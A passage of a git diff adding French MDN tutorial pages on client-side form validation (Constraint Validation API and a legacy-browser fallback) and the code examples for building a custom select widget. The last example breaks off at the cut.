L'attribut aria-live garantit que nos messages d'erreur personnalisés seront affichés à tout le monde, y compris les personnes utilisant des techniques d'assistance comme des lecteurs d'écran.

+ +
CSS
+ +

Ce CSS compose le formulaire et les messages d'erreur pour les rendre plus attrayants.

+ +
/* Juste pour que notre exemple soit plus joli */
+body {
+  font: 1em sans-serif;
+  padding: 0;
+  margin : 0;
+}
+
+form {
+  max-width: 200px;
+}
+
+p * {
+  display: block;
+}
+
+input[type=email]{
+  -webkit-appearance: none;
+
+  width: 100%;
+  border: 1px solid #333;
+  margin: 0;
+
+  font-family: inherit;
+  font-size: 90%;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+/* Voici notre composition pour les champs invalides */
+input:invalid{
+  border-color: #900;
+  background-color: #FDD;
+}
+
+input:focus:invalid {
+  outline: none;
+}
+
+/* Voici la mise en forme pour les erreurs */
+.error {
+  width  : 100%;
+  padding: 0;
+
+  font-size: 80%;
+  color: white;
+  background-color: #900;
+  border-radius: 0 0 5px 5px;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+.error.active {
+  padding: 0.3em;
+}
+ +
JavaScript
+ +

Le code JavaScript suivant gère la validation personnalisée des erreurs.

+ +
// Il y a plusieurs façon de sélectionner un nœud DOM ; ici on récupère
+// le formulaire et le champ d'e-mail ainsi que l'élément span
+// dans lequel on placera le message d'erreur
+
+var form  = document.getElementsByTagName('form')[0];
+var email = document.getElementById('mail');
+var error = document.querySelector('.error');
+
+email.addEventListener("input", function (event) {
+  // Chaque fois que l'utilisateur saisit quelque chose
+  // on vérifie la validité du champ e-mail.
+  if (email.validity.valid) {
+    // S'il y a un message d'erreur affiché et que le champ
+    // est valide, on retire l'erreur
+    error.innerHTML = ""; // On réinitialise le contenu
+    error.className = "error"; // On réinitialise l'état visuel du message
+  }
+}, false);
+form.addEventListener("submit", function (event) {
+  // Chaque fois que l'utilisateur tente d'envoyer les données
+  // on vérifie que le champ email est valide.
+  if (!email.validity.valid) {
+
+    // S'il est invalide, on affiche un message d'erreur personnalisé
+    error.innerHTML = "J'attends une adresse e-mail correcte, mon cher !";
+    error.className = "error active";
+    // Et on empêche l'envoi des données du formulaire
+    event.preventDefault();
+  }
+}, false);
+ +

Voici le résultat:

+ +

{{EmbedLiveSample("Exemple_d'utilisation_de_l'API_de_validation_des_contraintes", "100%", 130)}}

+ +

L'API de validation des contraintes fournit un outil puissant pour gérer la validation des formulaires, en vous laissant un contrôle sur l'interface utilisateur bien supérieur à ce que vous auriez pu avoir avec uniquement HTML et CSS. 

+ +

Valider des formulaires sans API intégrée

+ +

Il arrive parfois, comme c'est le cas avec des navigateurs anciens ou de widgets personnalisés, de ne pas pouvoir (ou vouloir) utiliser l'API de validation des contraintes. Dans ce cas, vous pourrez toujours utiliser JavaScript pour valider votre formulaire. Valider un formulaire est plus une question d'interface utilisateur que de réelle validation des données.

+ +

Pour valider un formulaire, vous devez vous poser un certain nombre de questions:

+ +
+
Quel type de validation dois-je réaliser ?
+
Vous devez déterminer comment valider vos données : opération sur des chaînes de caractères, conversion de type, expressions rationnelles, etc. C'est comme vous voulez. Mais retenez simplement que les données de formulaire sont toujours du texte et sont toujours fournies à vos scripts sous forme de chaînes de caractères.
+
Que dois-je faire si le formulaire n'est pas valide ?
+
C'est clairement une affaire d'interface utilisateur. Vous devez décider comment le formulaire doit se comporter : enverra-t-il quand même les données ? Devriez-vous mettre en évidence les champs qui sont en erreur ? Devriez-vous afficher des messages d'erreur ?
+
Comment puis-je aider l'utilisateur à corriger ses données invalides?
+
Pour limiter la frustration de l'utilisateur, il est très important de fournir autant d'information d'aide que nécessaire pour le guider dans la correction de sa saisie. Vous devriez afficher des suggestions en amont pour que l'utilisateur sache ce qui est attendu, ainsi que des messages d'erreur clairs. Si vous souhaitez vous plonger dans les exigences d'interface utilsateur pour la validation de formulaires, voici quelques articles (en anglais) utiles que vous devriez lire :
+
+ +
+
+ +

Exemple qui n'utilise pas l'API de validation des contraintes

+ +

Afin d'illustrer le propos, réécrivons le précédent exemple afin qu'il fonctionne avec d'anciens navigateurs:

+ +
<form>
+  <p>
+    <label for="mail">
+        <span>Veuillez saisir une adresse e-mail :</span>
+        <input type="text" class="mail" id="mail" name="mail">
+        <span class="error" aria-live="polite"></span>
+    </label>
+  <p>
+  <!-- Certains navigateurs historiques ont besoin de l'attribut
+       `type` avec la valeur `submit` sur l'élément `button` -->
+  <button type="submit">Envoyer</button>
+</form>
+ +

Comme vous pouvez voir, le HTML est quasiment identique; nous avons juste enlevé les fonctionnalités de validation HTML. Notez que ARIA est une spécification indépendante qui n'est pas spécifiquement liée à HTML5.

+ +
CSS
+ +

De même, nous n'avons pas eu à changer radicalement les CSS ; nous avons simplement transformé la pseudo-classe {{cssxref(":invalid")}} en une vraie classe et évité d'utiliser le sélecteur d'attribut, qui ne fonctionne pas avec Internet Explorer 6.

+ +
/* On améliore l'aspect de l'exemple avec ces quelques règles */
+body {
+  font: 1em sans-serif;
+  padding: 0;
+  margin : 0;
+}
+
+form {
+  max-width: 200px;
+}
+
+p * {
+  display: block;
+}
+
+input.mail {
+  -webkit-appearance: none;
+
+  width: 100%;
+  border: 1px solid #333;
+  margin: 0;
+
+  font-family: inherit;
+  font-size: 90%;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+/* Voici les règles de mise en forme pour les champs invalides */
+input.invalid{
+  border-color: #900;
+  background-color: #FDD;
+}
+
+input:focus.invalid {
+  outline: none;
+}
+
+/* Voici les règles utilisées pour les messages d'erreur */
+.error {
+  width  : 100%;
+  padding: 0;
+
+  font-size: 80%;
+  color: white;
+  background-color: #900;
+  border-radius: 0 0 5px 5px;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+.error.active {
+  padding: 0.3em;
+}
+ +
JavaScript
+ +

Les changements les plus importants sont dans le code JavaScript, qui nécessite bien plus que de simples retouches.

+ +
// Il existe moins de méthode pour sélectionner un nœud DOM
+// avec les navigateurs historiques
+var form  = document.getElementsByTagName('form')[0];
+var email = document.getElementById('mail');
+
+// Ce qui suit est une bidouille pour atteindre le prochain nœud Element dans le DOM
+// Attention à cette méthode, elle peut permettre de construire une boucle
+// infinie. Pour les navigateurs plus récents, on utilisera element.nextElementSibling
+var error = email;
+while ((error = error.nextSibling).nodeType != 1);
+
+// Pour respecter la spécification HTML5
+var emailRegExp = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/;
+
+// De nombreux navigateurs historiques ne supportent pas la méthode
+// addEventListener. Voici une méthode simple (il en existe d'autres)
+function addEvent(element, event, callback) {
+  var previousEventCallBack = element["on"+event];
+  element["on"+event] = function (e) {
+    var output = callback(e);
+
+    // Une fonction de rappel (callback) qui renvoie `false`
+    // pour arrêter la chaîne des callback
+    // et interrompre l'exécution du callback d'événement.
+    if (output === false) return false;
+
+    if (typeof previousEventCallBack === 'function') {
+      output = previousEventCallBack(e);
+      if(output === false) return false;
+    }
+  }
+};
+
+// On peut désormais reconstruire notre validation de contrainte
+// Étant donné qu'on n'utilise pas la pseudo-classe CSS, il faut
+// explicitement gérer la classe valid/invalid du champ e-mail
+addEvent(window, "load", function () {
+  // Ici, on teste si le champ est vide (rappel : le champ n'est pas obligatoire)
+  // S'il ne l'est pas, on vérifie que son contenu est une adresse e-mail valide.
+  var test = email.value.length === 0 || emailRegExp.test(email.value);
+
+  email.className = test ? "valid" : "invalid";
+});
+
+// Ici, on définit ce qui se passe lorsque l'utilisateur
+// saisit quelque chose dans le champ
+addEvent(email, "keyup", function () {
+  var test = email.value.length === 0 || emailRegExp.test(email.value);
+  if (test) {
+    email.className = "valid";
+    error.innerHTML = "";
+    error.className = "error";
+  } else {
+    email.className = "invalid";
+  }
+});
+
+// Ici, on définit ce qui se passe lorsque l'utilisateur
+// tente d'envoyer les données du formulaire
+addEvent(form, "submit", function () {
+  var test = email.value.length === 0 || emailRegExp.test(email.value);
+
+  if (!test) {
+    email.className = "invalid";
+    error.innerHTML = "Merci d'écrire une adresse e-mail valide.";
+    error.className = "error active";
+
+    // Certains navigateurs historiques ne supportent pas
+    // la méthode event.reventDefault()
+    return false;
+  } else {
+    email.className = "valid";
+    error.innerHTML = "";
+    error.className = "error";
+  }
+});
+ +

Voici le résultat:

+ +

{{EmbedLiveSample("Exemple_qui_n'utilise_pas_l'API_de_validation_des_contraintes", "100%", 130)}}

+ +

Comme vous avez pu le voir, il n'est pas si difficile de créer par soi-même un système de validation. La difficulté consiste à rendre le tout assez générique pour l'utiliser à la fois sur toutes les plateformes et pour chaque formulaire que vous pourriez créer. Il existe de nombreuses bibliothèques permettant ce genre de validation de formulaire ; n'hésitez pas à les utiliser. En voici quelques exemples :

+ + + +

Validation à distance

+ +

Il peut être utile, dans certains cas, d'effectuer une validation à distance. Ce genre de validation est nécessaire lorsque les données saisies par l'utilisateur sont liées à des données supplémentaires stockées sur le serveur hébergeant votre application. Prenons par exemple les formulaires d'inscription, pour lesquels on vous demande un nom d'utilisateur. Pour éviter toute duplication d'un nom d'utilisateur, il est plus judicieux d'effectuer une requête AJAX pour vérifier la disponibilté du nom d'utilisateur que de demander à envoyer les données saisies et de renvoyer le formulaire avec une erreur.

+ +

Pour réaliser une telle validation, plusieurs précautions doivent être prises :

+ +
    +
  • Il est nécessaire d'exposer une API et des données ; assurez-vous que ces données ne soient pas critiques.
    • +
  • Un décalage (lag) du réseau nécessite une validtion asynchrone. L'interface utilisateur doit être conçue de façon à pas être bloquée si cette validation n'est pas réalisée correctement.
    • +
+ +

Conclusion

+ +

La validation d'un formulaire ne requiert pas de code JavaScript complexe, mais il est nécessaire de penser tout particulièrement à l'utilisateur. Rappelez-vous de toujours aider l'utilisateur à corriger les données qu'il saisit. Pour ce faire, assurez-vous de toujours :

+ +
    +
  • Afficher des messages d'erreur explicites.
    • +
  • Être tolérant sur le format des données à envoyer.
    • +
  • Indiquer exactement où est l'erreur (en particulier pour les formulaires longs).
    • +
+ +

{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/forms/how_to_build_custom_form_controls/example_1/index.html b/files/fr/learn/forms/how_to_build_custom_form_controls/example_1/index.html new file mode 100644 index 0000000000..045f631079 --- /dev/null +++ b/files/fr/learn/forms/how_to_build_custom_form_controls/example_1/index.html @@ -0,0 +1,420 @@ +--- +title: Exemple 1 +slug: >- + Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1 +tags: + - Formulaires + - Guide + - HTML +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_1 +--- +

C'est le premier exemple de code qui explique comment construire un widget de formulaire personnalisé.

+ +

État initial

+ +

HTML

+ +
<div class="select">
+  <span class="value">Cerise</span>
+  <ul class="optList hidden">
+    <li class="option">Cerise</li>
+    <li class="option">Citron</li>
+    <li class="option">Banane</li>
+    <li class="option">Fraise</li>
+    <li class="option">Pomme</li>
+  </ul>
+</div>
+ +

CSS

+ +
/* --------------- */
+/* Styles Requis   */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Style  Chic  */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}
+
+ +

Resultat pour l'état initial

+ +
{{ EmbedLiveSample("Basic_state", 120, 130) }}
+ +

État actif

+ +

HTML

+ +
<div class="select active">
+  <span class="value">Cerise</span>
+  <ul class="optList hidden">
+    <li class="option">Cerise</li>
+    <li class="option">Citron</li>
+    <li class="option">Banane</li>
+    <li class="option">Fraise</li>
+    <li class="option">Pomme</li>
+  </ul>
+</div>
+ +

CSS

+ +
/* --------------- */
+/* Styles Requis   */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Style  Chic  */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}
+ +

Résultat pour état actif

+ +
{{ EmbedLiveSample("Active_state", 120, 130) }}
+ +

État ouvert

+ +

HTML

+ +
<div class="select active">
+  <span class="value">Cerise</span>
+  <ul class="optList">
+    <li class="option highlight">Cerise</li>
+    <li class="option">Citron</li>
+    <li class="option">Banane</li>
+    <li class="option">Fraise</li>
+    <li class="option">Pomme</li>
+  </ul>
+</div>
+ +

CSS

+ +
/* --------------- */
+/* Styles Requis   */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Style  Chic  */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0, 0, 0, .45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFF;
+}
+ +

Resultat pour état ouvert

+ +
{{ EmbedLiveSample("Open_state", 120, 130) }}
diff --git a/files/fr/learn/forms/how_to_build_custom_form_controls/example_2/index.html b/files/fr/learn/forms/how_to_build_custom_form_controls/example_2/index.html new file mode 100644 index 0000000000..dfb0eb3b6a --- /dev/null +++ b/files/fr/learn/forms/how_to_build_custom_form_controls/example_2/index.html @@ -0,0 +1,215 @@ +--- +title: Exemple 2 +slug: >- + Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_2 +tags: + - Formulaires + - HTML +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_2 +--- +

Ceci est le deuxième exemple expliquant comment construire un formulaire personnalisé.

+ +

JS

+ +

HTML Content

+ +
<form class="no-widget">
+  <select name="myFruit">
+      <option>Cerise</option>
+      <option>Citron</option>
+      <option>Banane</option>
+      <option>Fraise</option>
+      <option>Pomme</option>
+  </select>
+
+  <div class="select">
+    <span class="value">Cerise</span>
+    <ul class="optList hidden">
+      <li class="option">Cerise</li>
+      <li class="option">Citron</li>
+      <li class="option">Banane</li>
+      <li class="option">Fraise</li>
+      <li class="option">Pomme</li>
+    </ul>
+  </div>
+<form>
+
+ +

CSS Content

+ +
.widget select,
+.no-widget .select {
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}
+
+/* --------------- */
+/* Styles requis   */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Styles décor */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}
+ +

Contenu JavaScript

+ +
window.addEventListener("load", function () {
+  var form = document.querySelector('form');
+
+  form.classList.remove("no-widget");
+  form.classList.add("widget");
+});
+ +

Résultat avec JavaScript

+ +

{{ EmbedLiveSample('JS', 120, 130) }}

+ +

Sans JS

+ +

HTML Content

+ +
<form class="no-widget">
+  <select name="myFruit">
+      <option>Cerise</option>
+      <option>Citron</option>
+      <option>Banane</option>
+      <option>Fraise</option>
+      <option>Pomme</option>
+  </select>
+
+  <div class="select">
+    <span class="value">Cerise</span>
+    <ul class="optList hidden">
+      <li class="option">Cerise</li>
+      <li class="option">Citron</li>
+      <li class="option">Banane</li>
+      <li class="option">Fraise</li>
+      <li class="option">Pomme</li>
+    </ul>
+  </div>
+<form>
+ +

CSS Content

+ +
.widget select,
+.no-widget .select {
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}
+ +

Result for No JS

+ +

{{ EmbedLiveSample('No_JS', 120, 130) }}

+ +

 

diff --git a/files/fr/learn/forms/how_to_build_custom_form_controls/example_3/index.html b/files/fr/learn/forms/how_to_build_custom_form_controls/example_3/index.html new file mode 100644 index 0000000000..a647cfaba3 --- /dev/null +++ b/files/fr/learn/forms/how_to_build_custom_form_controls/example_3/index.html @@ -0,0 +1,247 @@ +--- +title: Exemple 3 +slug: >- + Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_3 +tags: + - Formulaires + - HTML +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_3 +--- +

Ceci est le troisième exemple expliquant comment construire des widgets de formulaire personnalisés.

+ +

Changement d'état

+ +

Contenu HTML

+ +
<form class="no-widget">
+  <select name="myFruit" tabindex="-1">
+      <option>Cerise</option>
+      <option>Citron</option>
+      <option>Banane</option>
+      <option>Fraise</option>
+      <option>Pomme</option>
+  </select>
+
+  <div class="select" tabindex="0">
+    <span class="value">Cerise</span>
+    <ul class="optList hidden">
+      <li class="option">Cerise</li>
+      <li class="option">Citron</li>
+      <li class="option">Banane</li>
+      <li class="option">Fraise</li>
+      <li class="option">Pomme</li>
+    </ul>
+  </div>
+</form>
+ +

Contenu du CSS

+ +
.widget select,
+.no-widget .select {
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}
+
+/* --------------- */
+/* Styles Requis   */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Style  chic  */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}
+ +

Contenu JavaScript

+ +
// ----------- //
+// UTILITAIRES //
+// ----------- //
+
+NodeList.prototype.forEach = function (callback) {
+  Array.prototype.forEach.call(this, callback);
+}
+
+// ------------------------- //
+// Définitions des fonctions //
+// ------------------------- //
+
+function deactivateSelect(select) {
+  if (!select.classList.contains('active')) return;
+
+  var optList = select.querySelector('.optList');
+
+  optList.classList.add('hidden');
+  select.classList.remove('active');
+}
+
+function activeSelect(select, selectList) {
+  if (select.classList.contains('active')) return;
+
+  selectList.forEach(deactivateSelect);
+  select.classList.add('active');
+};
+
+function toggleOptList(select, show) {
+  var optList = select.querySelector('.optList');
+
+  optList.classList.toggle('hidden');
+}
+
+function highlightOption(select, option) {
+  var optionList = select.querySelectorAll('.option');
+
+  optionList.forEach(function (other) {
+    other.classList.remove('highlight');
+  });
+
+  option.classList.add('highlight');
+};
+
+// ------------------- //
+// Lien aux événements //
+// ------------------- //
+
+window.addEventListener("load", function () {
+  var form = document.querySelector('form');
+
+  form.classList.remove("no-widget");
+  form.classList.add("widget");
+});
+
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option');
+
+    optionList.forEach(function (option) {
+      option.addEventListener('mouseover', function () {
+        highlightOption(select, option);
+      });
+    });
+
+    select.addEventListener('click', function (event) {
+      toggleOptList(select);
+    },  false);
+
+    select.addEventListener('focus', function (event) {
+      activeSelect(select, selectList);
+    });
+
+    select.addEventListener('blur', function (event) {
+      deactivateSelect(select);
+    });
+  });
+});
+ +

Résultat

+ +

{{ EmbedLiveSample('Change_states') }}

diff --git a/files/fr/learn/forms/how_to_build_custom_form_controls/example_4/index.html b/files/fr/learn/forms/how_to_build_custom_form_controls/example_4/index.html new file mode 100644 index 0000000000..4bd1a9a069 --- /dev/null +++ b/files/fr/learn/forms/how_to_build_custom_form_controls/example_4/index.html @@ -0,0 +1,297 @@ +--- +title: Exemple 4 +slug: >- + Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_4 +tags: + - Avancé + - Exemple + - Formulaires + - Guide + - HTML + - Web +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_4 +--- +

Ceci est le quatrième exemple expliquant comment construire des widgets de formulaire personnalisés.

+ +

Changement d'état

+ +

Contenu HTML

+ +
<form class="no-widget">
+  <select name="myFruit">
+    <option>Cerise</option>
+    <option>Citron</option>
+    <option>Banane</option>
+    <option>Fraise</option>
+    <option>Pomme</option>
+  </select>
+
+  <div class="select">
+    <span class="value">Cerise</span>
+    <ul class="optList hidden">
+      <li class="option">Cerise</li>
+      <li class="option">Citron</li>
